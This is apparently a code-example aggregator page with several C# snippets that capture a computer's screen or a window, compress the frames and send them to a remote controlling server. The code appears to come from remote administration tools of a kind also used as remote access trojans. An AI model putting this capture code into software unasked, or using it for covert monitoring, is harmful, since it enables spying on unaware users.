                                  new Serializer(typeof(List <WebcamInfo>)).Serialize(webcams), connectionInfo);
                }
                else
                {
                    ResponseByte((byte)WebcamCommunication.ResponseNotSupported, connectionInfo);
                }

                break;

            default:
                throw new ArgumentOutOfRangeException();
            }
        }
Esempio n. 26
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        public static void HandleGetDesktop(Packets.ServerPackets.GetDesktop command, Client client)
        {
            var resolution = FormatHelper.FormatScreenResolution(ScreenHelper.GetBounds(command.Monitor));

            if (StreamCodec == null)
            {
                StreamCodec = new UnsafeStreamCodec(command.Quality, command.Monitor, resolution);
            }

            if (StreamCodec.ImageQuality != command.Quality || StreamCodec.Monitor != command.Monitor ||
                StreamCodec.Resolution != resolution)
            {
                if (StreamCodec != null)
                {
                    StreamCodec.Dispose();
                }

                StreamCodec = new UnsafeStreamCodec(command.Quality, command.Monitor, resolution);
            }

            BitmapData desktopData = null;
            Bitmap     desktop     = null;

            try
            {
                desktop     = ScreenHelper.CaptureScreen(command.Monitor);
                desktopData = desktop.LockBits(new Rectangle(0, 0, desktop.Width, desktop.Height),
                                               ImageLockMode.ReadWrite, desktop.PixelFormat);

                using (MemoryStream stream = new MemoryStream())
                {
                    if (StreamCodec == null)
                    {
                        throw new Exception("StreamCodec can not be null.");
                    }
                    StreamCodec.CodeImage(desktopData.Scan0,
                                          new Rectangle(0, 0, desktop.Width, desktop.Height),
                                          new Size(desktop.Width, desktop.Height),
                                          desktop.PixelFormat, stream);
                    new Packets.ClientPackets.GetDesktopResponse(stream.ToArray(), StreamCodec.ImageQuality,
                                                                 StreamCodec.Monitor, StreamCodec.Resolution).Execute(client);
                }
            }
            catch (Exception)
            {
                if (StreamCodec != null)
                {
                    new Packets.ClientPackets.GetDesktopResponse(null, StreamCodec.ImageQuality, StreamCodec.Monitor,
                                                                 StreamCodec.Resolution).Execute(client);
                }

                StreamCodec = null;
            }
            finally
            {
                if (desktop != null)
                {
                    if (desktopData != null)
                    {
                        try
                        {
                            desktop.UnlockBits(desktopData);
                        }
                        catch
                        {
                        }
                    }
                    desktop.Dispose();
                }
            }
        }
Esempio n. 27
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        public IDataInfo Render()
        {
            RECT rect;

            if (!NativeMethods.GetWindowRect(Handle, out rect) || rect.Width == 0 || rect.Height == 0)
            {
                return(null);
            }

            if (_unsafeStreamCodec == null || _codecWidth != rect.Width || _codecHeight != rect.Height)
            {
                _unsafeStreamCodec?.Dispose();
                _unsafeStreamCodec = new UnsafeStreamCodec(UnsafeStreamCodecParameters.None);
                _codecWidth        = rect.Width;
                _codecHeight       = rect.Height;
            }

            /*IntPtr hdcSrc = GetWindowDC(Handle);
             * // get the size
             * RECT windowRect;
             * NativeMethods.GetWindowRect(Handle, out windowRect);
             *
             * int width = windowRect.Right - windowRect.Left;
             * int height = windowRect.Bottom - windowRect.Top;
             *
             * IntPtr hdcDest = CreateCompatibleDC(hdcSrc);
             *
             * IntPtr hBitmap = CreateCompatibleBitmap(hdcSrc, width, height);
             * // select the bitmap object
             * IntPtr hOld = SelectObject(hdcDest, hBitmap);
             * // bitblt over
             * BitBlt(hdcDest, 0, 0, width, height, hdcSrc, 0, 0, SRCCOPY);
             * // restore selection
             * SelectObject(hdcDest, hOld);
             * // clean up
             * DeleteDC(hdcDest);
             * ReleaseDC(Handle, hdcSrc);
             * // get a .NET image object for it
             * Bitmap img = Image.FromHbitmap(hBitmap);
             * // free up the Bitmap object
             * DeleteObject(hBitmap);
             *
             * using (img)
             * {
             *  var imageData = img.LockBits(new Rectangle(0, 0, img.Width, img.Height),
             *      ImageLockMode.ReadOnly, img.PixelFormat);
             *
             *  try
             *  {
             *      return _unsafeStreamCodec.CodeImage(imageData.Scan0, new Rectangle(new Point(0, 0), img.Size),
             *          img.Size, img.PixelFormat);
             *  }
             *  catch (Exception)
             *  {
             *      return null;
             *  }
             *  finally
             *  {
             *      img.UnlockBits(imageData);
             *  }
             * }*/


            using (var windowImage = new Bitmap(rect.Width, rect.Height, PixelFormat.Format32bppPArgb))
            {
                using (var gfxBmp = Graphics.FromImage(windowImage))
                {
                    var hdcBitmap = gfxBmp.GetHdc();
                    try
                    {
                        if (!NativeMethods.PrintWindow(Handle, hdcBitmap, 0))
                        {
                            return(null);
                        }
                    }
                    finally
                    {
                        gfxBmp.ReleaseHdc(hdcBitmap);
                    }
                }

                var imageData = windowImage.LockBits(new Rectangle(0, 0, windowImage.Width, windowImage.Height),
                                                     ImageLockMode.ReadWrite, windowImage.PixelFormat);

                try
                {
                    return(_unsafeStreamCodec.CodeImage(imageData.Scan0,
                                                        new Rectangle(new Point(0, 0), windowImage.Size),
                                                        windowImage.Size, windowImage.PixelFormat));
                }
                catch (Exception)
                {
                    return(null);
                }
                finally
                {
                    windowImage.UnlockBits(imageData);
                }
            }
        }
Esempio n. 28
0
        public static void HandleGetDesktop(Packets.ServerPackets.GetDesktop command, Client client)
        {
            if (command.Action == RemoteDesktopAction.Stop)
            {
                IsStreamingDesktop = false;
                return;
            }

            if (IsStreamingDesktop) return;

            IsStreamingDesktop = true;

            var resolution = FormatHelper.FormatScreenResolution(ScreenHelper.GetBounds(command.Monitor));

            if (StreamCodec == null)
                StreamCodec = new UnsafeStreamCodec(command.Quality, command.Monitor, resolution);

            if (StreamCodec.ImageQuality != command.Quality || StreamCodec.Monitor != command.Monitor
                || StreamCodec.Resolution != resolution)
            {
                if (StreamCodec != null)
                    StreamCodec.Dispose();

                StreamCodec = new UnsafeStreamCodec(command.Quality, command.Monitor, resolution);
            }

            new Thread(() =>
            {
                while (IsStreamingDesktop)
                {
                    if (!Program.ConnectClient.Connected) // disconnected
                    {
                        IsStreamingDesktop = false;
                        return;
                    }

                    // check screen resolution while streaming remote desktop
                    resolution = FormatHelper.FormatScreenResolution(ScreenHelper.GetBounds(command.Monitor));
                    if (StreamCodec != null && StreamCodec.Resolution != resolution)
                    {
                        StreamCodec.Dispose();
                        StreamCodec = new UnsafeStreamCodec(command.Quality, command.Monitor, resolution);
                    }

                    BitmapData desktopData = null;
                    Bitmap desktop = null;
                    try
                    {
                        desktop = ScreenHelper.CaptureScreen(command.Monitor);
                        desktopData = desktop.LockBits(new Rectangle(0, 0, desktop.Width, desktop.Height),
                            ImageLockMode.ReadWrite, desktop.PixelFormat);

                        using (MemoryStream stream = new MemoryStream())
                        {
                            if (StreamCodec == null) throw new Exception("StreamCodec can not be null.");
                            StreamCodec.CodeImage(desktopData.Scan0,
                                new Rectangle(0, 0, desktop.Width, desktop.Height),
                                new Size(desktop.Width, desktop.Height),
                                desktop.PixelFormat, stream);
                            new Packets.ClientPackets.GetDesktopResponse(stream.ToArray(), StreamCodec.ImageQuality,
                                StreamCodec.Monitor, StreamCodec.Resolution).Execute(client);
                        }
                    }
                    catch (Exception)
                    {
                        if (StreamCodec != null)
                            new Packets.ClientPackets.GetDesktopResponse(null, StreamCodec.ImageQuality, StreamCodec.Monitor,
                                StreamCodec.Resolution).Execute(client);

                        StreamCodec = null;
                    }
                    finally
                    {
                        if (desktop != null)
                        {
                            if (desktopData != null)
                            {
                                desktop.UnlockBits(desktopData);
                            }
                            desktop.Dispose();
                        }
                    }
                }
            }).Start();
        }
Esempio n. 29
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        private void Execute(ISender client, GetDesktop message)
        {
            // TODO: Switch to streaming mode without request-response once switched from windows forms
            // TODO: Capture mouse in frames: https://stackoverflow.com/questions/6750056/how-to-capture-the-screen-and-mouse-pointer-using-windows-apis
            var monitorBounds = ScreenHelper.GetBounds((message.DisplayIndex));
            var resolution    = new Resolution {
                Height = monitorBounds.Height, Width = monitorBounds.Width
            };

            if (_streamCodec == null)
            {
                _streamCodec = new UnsafeStreamCodec(message.Quality, message.DisplayIndex, resolution);
            }

            if (message.CreateNew || _streamCodec.ImageQuality != message.Quality || _streamCodec.Monitor != message.DisplayIndex ||
                _streamCodec.Resolution != resolution)
            {
                _streamCodec?.Dispose();

                _streamCodec = new UnsafeStreamCodec(message.Quality, message.DisplayIndex, resolution);
            }

            BitmapData desktopData = null;
            Bitmap     desktop     = null;

            try
            {
                desktop     = ScreenHelper.CaptureScreen(message.DisplayIndex);
                desktopData = desktop.LockBits(new Rectangle(0, 0, desktop.Width, desktop.Height),
                                               ImageLockMode.ReadWrite, desktop.PixelFormat);

                using (MemoryStream stream = new MemoryStream())
                {
                    if (_streamCodec == null)
                    {
                        throw new Exception("StreamCodec can not be null.");
                    }
                    _streamCodec.CodeImage(desktopData.Scan0,
                                           new Rectangle(0, 0, desktop.Width, desktop.Height),
                                           new Size(desktop.Width, desktop.Height),
                                           desktop.PixelFormat, stream);
                    client.Send(new GetDesktopResponse
                    {
                        Image      = stream.ToArray(),
                        Quality    = _streamCodec.ImageQuality,
                        Monitor    = _streamCodec.Monitor,
                        Resolution = _streamCodec.Resolution
                    });
                }
            }
            catch (Exception)
            {
                if (_streamCodec != null)
                {
                    client.Send(new GetDesktopResponse
                    {
                        Image      = null,
                        Quality    = _streamCodec.ImageQuality,
                        Monitor    = _streamCodec.Monitor,
                        Resolution = _streamCodec.Resolution
                    });
                }

                _streamCodec = null;
            }
            finally
            {
                if (desktop != null)
                {
                    if (desktopData != null)
                    {
                        try
                        {
                            desktop.UnlockBits(desktopData);
                        }
                        catch
                        {
                        }
                    }
                    desktop.Dispose();
                }
            }
        }
Esempio n. 30
0
        public static void HandleGetDesktop(GetDesktop command, Client client)
        {
            // TODO: Capture mouse in frames: https://stackoverflow.com/questions/6750056/how-to-capture-the-screen-and-mouse-pointer-using-windows-apis
            var monitorBounds = ScreenHelper.GetBounds((command.DisplayIndex));
            var resolution    = new Resolution {
                Height = monitorBounds.Height, Width = monitorBounds.Width
            };

            if (StreamCodec == null)
            {
                StreamCodec = new UnsafeStreamCodec(command.Quality, command.DisplayIndex, resolution);
            }

            if (command.CreateNew || StreamCodec.ImageQuality != command.Quality || StreamCodec.Monitor != command.DisplayIndex ||
                StreamCodec.Resolution != resolution)
            {
                if (StreamCodec != null)
                {
                    StreamCodec.Dispose();
                }

                StreamCodec = new UnsafeStreamCodec(command.Quality, command.DisplayIndex, resolution);
            }

            BitmapData desktopData = null;
            Bitmap     desktop     = null;

            try
            {
                desktop     = ScreenHelper.CaptureScreen(command.DisplayIndex);
                desktopData = desktop.LockBits(new Rectangle(0, 0, desktop.Width, desktop.Height),
                                               ImageLockMode.ReadWrite, desktop.PixelFormat);

                using (MemoryStream stream = new MemoryStream())
                {
                    if (StreamCodec == null)
                    {
                        throw new Exception("StreamCodec can not be null.");
                    }
                    StreamCodec.CodeImage(desktopData.Scan0,
                                          new Rectangle(0, 0, desktop.Width, desktop.Height),
                                          new Size(desktop.Width, desktop.Height),
                                          desktop.PixelFormat, stream);
                    client.Send(new GetDesktopResponse
                    {
                        Image      = stream.ToArray(),
                        Quality    = StreamCodec.ImageQuality,
                        Monitor    = StreamCodec.Monitor,
                        Resolution = StreamCodec.Resolution
                    });
                }
            }
            catch (Exception)
            {
                if (StreamCodec != null)
                {
                    client.Send(new GetDesktopResponse
                    {
                        Image      = null,
                        Quality    = StreamCodec.ImageQuality,
                        Monitor    = StreamCodec.Monitor,
                        Resolution = StreamCodec.Resolution
                    });
                }

                StreamCodec = null;
            }
            finally
            {
                if (desktop != null)
                {
                    if (desktopData != null)
                    {
                        try
                        {
                            desktop.UnlockBits(desktopData);
                        }
                        catch
                        {
                        }
                    }
                    desktop.Dispose();
                }
            }
        }
Esempio n. 31
0
        private void button_Click(object sender, RoutedEventArgs e)
        {
            _dispatcherTimer = new DispatcherTimer {
                Interval = TimeSpan.FromSeconds(1)
            };
            _dispatcherTimer.Tick += DispatcherTimerOnTick;
            _dispatcherTimer.Start();

            new Thread(() =>
            {
                using (var streamCodec = new UnsafeStreamCodec(new JpgCompression(70),
                                                               UnsafeStreamCodecParameters.None))
                    using (var decoderCodec = new UnsafeStreamCodec(new JpgCompression(70),
                                                                    UnsafeStreamCodecParameters.None))
                        using (var cursorCodec = new CursorStreamCodec())
                            using (var decodeCursorCodec = new CursorStreamCodec())
                                using (var screenService = new FrontBufferService())
                                {
                                    streamCodec.ImageQuality = 70;
                                    screenService.Initialize(0);
                                    WriteableBitmap currentWriteableBitmap = null;

                                    while (!_isClosed)
                                    {
                                        var sw   = Stopwatch.StartNew();
                                        var data = screenService.CaptureScreen(streamCodec, cursorCodec, true);
                                        if (data == null)
                                        {
                                            continue;
                                        }
                                        //Debug.Print($"Screen captured ({sw.ElapsedMilliseconds})");

                                        unsafe
                                        {
                                            byte[] bytes;
                                            using (var ms = new MemoryStream())
                                            {
                                                data.WriteIntoStream(ms);
                                                bytes = ms.ToArray();
                                            }

                                            var cursorData = cursorCodec.CodeCursor();

                                            fixed(byte *bytePtr = bytes)
                                            {
                                                sw.Reset();
                                                //Debug.Print("Decode " + bytes.Length);
                                                var newBitmap =
                                                    decoderCodec.AppendModifier(decodeCursorCodec.CreateModifierTask(cursorData, 0,
                                                                                                                     cursorData.Length)).DecodeData(bytePtr, (uint)bytes.Length, Dispatcher);
                                                //Debug.Print($"Screen decoded ({sw.ElapsedMilliseconds})");
                                                if (newBitmap != currentWriteableBitmap)
                                                {
                                                    currentWriteableBitmap = newBitmap;
                                                    Dispatcher.Invoke(() => ImageAsd.Source = currentWriteableBitmap);
                                                }
                                                Interlocked.Increment(ref _currentFps);
                                            }
                                        }
                                    }
                                }
            }).Start();
        }